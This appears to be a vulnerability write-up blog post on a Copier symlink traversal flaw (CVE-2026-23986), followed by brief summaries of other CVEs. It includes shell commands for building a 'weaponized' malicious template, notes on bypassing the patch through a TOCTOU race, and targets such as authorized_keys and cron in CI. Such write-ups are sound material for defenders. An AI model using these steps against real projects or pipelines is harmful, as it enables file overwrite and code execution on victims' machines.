Feb 15, 2026·5 min read·62 visits
Copier versions < 9.11.2 contain a directory traversal vulnerability when `_preserve_symlinks` is enabled. A malicious template can use directory symlinks to write files outside the intended project directory, leading to arbitrary file overwrite or RCE.
Template engines are supposed to be dumb pipes: text goes in, formatted text comes out. But when you mix the desire for 'convenience' with the chaos of filesystem symlinks, things get messy fast. Copier, a popular Python-based project scaffolder, decided that allowing templates to preserve symbolic links was a feature worth having. Unfortunately, they forgot that a symlink is effectively a portal to anywhere on your disk. This vulnerability (CVE-2026-23986) allows a malicious template author to break out of the destination sandbox and write files anywhere the user has write permissions. It turns a simple `copier update` command into a potential Remote Code Execution (RCE) vector, especially devastating in CI/CD pipelines running with elevated privileges.
We trust our tools too much. You run copier copy gh:author/cool-template . and expect it to just create a folder structure. You don't expect it to overwrite your ~/.ssh/authorized_keys. But that's exactly what's on the menu today.
Copier is designed to render project templates. It takes a source (local or git), asks you some questions, and spits out a project. The dangerous feature here is _preserve_symlinks: true. This setting tells Copier: 'If you see a symlink in the template, recreate it exactly as is in the destination.'
In a sane world, a template engine would sandbox its output. It would say, 'I shall only write to ./my-new-project/'. But because of how os.scandir works and a lack of canonical path validation, Copier inadvertently allowed templates to reach out and touch files they had no business touching.
The vulnerability is a classic race against file system logic, compounded by Python's non-deterministic directory traversal. When Copier renders a template, it iterates through the template's file list. If _preserve_symlinks is on, it blindly copies links.
Here is the logic bomb: Imagine a template with a directory symlink named innocent_dir that points to /tmp/. Inside the template structure, there is also a file technically located at innocent_dir/payload.sh.
If Copier processes the symlink first, it creates ./destination/innocent_dir -> /tmp/. When it subsequently processes innocent_dir/payload.sh, it tries to write to ./destination/innocent_dir/payload.sh. The OS resolves the path, follows the link, and writes the file to /tmp/payload.sh.
Because os.scandir yields results in arbitrary order, this vulnerability is technically non-deterministic, but a clever attacker can structure the template to maximize the probability of the link being created before the file is written.
The fix reveals the crime. The developers had to implement strict path canonicalization to stop this. They moved from trusting the path string to verifying the resolved physical path.
Here is the conceptual breakdown of the fix found in commit 41cb45c9649782150c01886bc52bee5eddb655b9:
The Vulnerable Logic (Pseudocode):
# Blindly trusting the path structure
if _preserve_symlinks and source_path.is_symlink():
# Just copy the link, no questions asked
shutil.copy(source_path, dest_path, follow_symlinks=False)The Fix (Canonicalization):
# Resolve the ABSOLUTE path, stripping away all symlink tricks
resolved_dest = dest_path.resolve()
# The Check: Is the resolved path still inside our sandbox?
if not resolved_dest.is_relative_to(destination_root.resolve()):
raise UnsafeTemplateError("Nice try, hacker.")By forcing resolve(), Python chases down every symlink component in the path. If dest_path contains a symlink pointing to /etc/, resolve() will return /etc/..., and is_relative_to(destination_root) will return False, triggering the exception.
Let's build a weaponized template. We want to write a file to /tmp/pwned to prove we can escape the project directory. We assume the user has configured Copier (or the template defaults) to _preserve_symlinks: true.
Step 1: The Setup We create a git repository with a malicious structure. We can't commit a symlink pointing to root easily on all platforms, but we can commit a relative symlink that traverses up.
mkdir malicious-template
cd malicious-template
# Create the bait config
echo '_preserve_symlinks: true' > copier.yaml
# Create a link pointing outside
ln -s ../../../../../tmp/ target_link
# Create the payload "inside" the link
# (We create the dir structure physically first to trick git, then swap it)
mkdir -p target_link
echo "#!/bin/bash\necho 'I own this box'" > target_link/pwn.shStep 2: The Execution
When the victim runs:
copier copy malicious-template ./my-project
Copier reads copier.yaml. It sees the symlink request. It creates my-project/target_link pointing to /tmp. It then processes the file target_link/pwn.sh. It writes to my-project/target_link/pwn.sh, which the OS translates to /tmp/pwn.sh.
Re-exploitation Notes:
The patch relies heavily on pathlib.Path.resolve(). A researcher looking to bypass this would look for TOCTOU (Time-of-Check Time-of-Use) vulnerabilities. If you can swap a directory for a symlink after the check but before the write, you win. Given Python's GIL and file IO speed, this is hard but theoretically possible in high-concurrency environments.
Why is a template engine vulnerability rated High (CVSS 7.1)? Context.
Developers don't run Copier in a vacuum. They run it on their workstations (access to SSH keys, cloud credentials) and, more critically, in CI/CD pipelines.
Imagine a scenario where a company uses a shared template for all microservices. An attacker compromises the template repository (or submits a PR to an open-source template). Every time a developer initializes a new service, or a CI job runs copier update to fetch the latest standards, the exploit triggers.
If the CI runner is executing as root (which, sadly, many do inside containers), the attacker could overwrite /usr/bin/git or inject into /etc/cron.d/. This isn't just file creation; it's persistence and lateral movement waiting to happen.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Copier Copier-org | < 9.11.2 | 9.11.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-61 |
| Attack Vector | Local (User-Assisted) |
| CVSS v3.1 | 7.1 (High) |
| CVSS Vector | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H |
| Exploit Status | PoC Available |
| EPSS Score | 0.00039 |
The @backstage/plugin-scaffolder-backend package prior to version 4.1.0 is vulnerable to sensitive information exposure in Scaffolder task failure events. Under specific template and failure conditions, an authenticated user can retrieve backend-managed credentials, such as VCS access tokens and API keys, from affected task execution events and stored database logs. This vulnerability has been remediated in version 4.1.0 of the package and is bundled with the Backstage platform release v1.54.6.
A critical security flaw exists in PraisonAI before version 4.6.78 when operating in AgentMail webhook mode. The application processes incoming POST requests without checking for cryptographic signatures, allowing unauthenticated attackers to forge emails, spoof identities, and force AI agents to execute unauthorized operations.
A missing authorization vulnerability (CWE-862) exists in praisonai-platform versions prior to 0.1.9, allowing low-privileged workspace members to delete planning dependencies on issues owned by administrators by routing the deletion request through an attacker-owned issue.
CVE-2026-46438 is a critical Broken Object Level Authorization (BOLA) / Insecure Direct Object Reference (IDOR) vulnerability identified in the wger fitness manager prior to version 2.6. An authenticated attacker can exploit a missing authorization check on the slot_entry API parameter to inject unauthorized workout logs into another user's training schedule. This results in the corruption of the target user's automated progressive-overload calculations.
CVE-2026-105795 (GHSA-6gw6-rv2g-25mg) is a critical path traversal vulnerability in Microsoft Kiota, an OpenAPI-based HTTP client and plugin manifest generator. In affected versions (1.25.1 to < 1.35.0), Kiota propagates the unvalidated `x-ai-capabilities.response_semantics.oauth_card_path` vendor extension directly into generated API plugin manifests, leading to potential path traversal exploitation by downstream consumers.
CVE-2026-105805 is an authorization bypass and information disclosure vulnerability in Payload CMS. Before version 3.88.0, user-controlled sorting was executed at the database level before field-level access control rules and data redaction were applied. This allowed unauthorized users to reconstruct restricted field values through a sorting side-channel.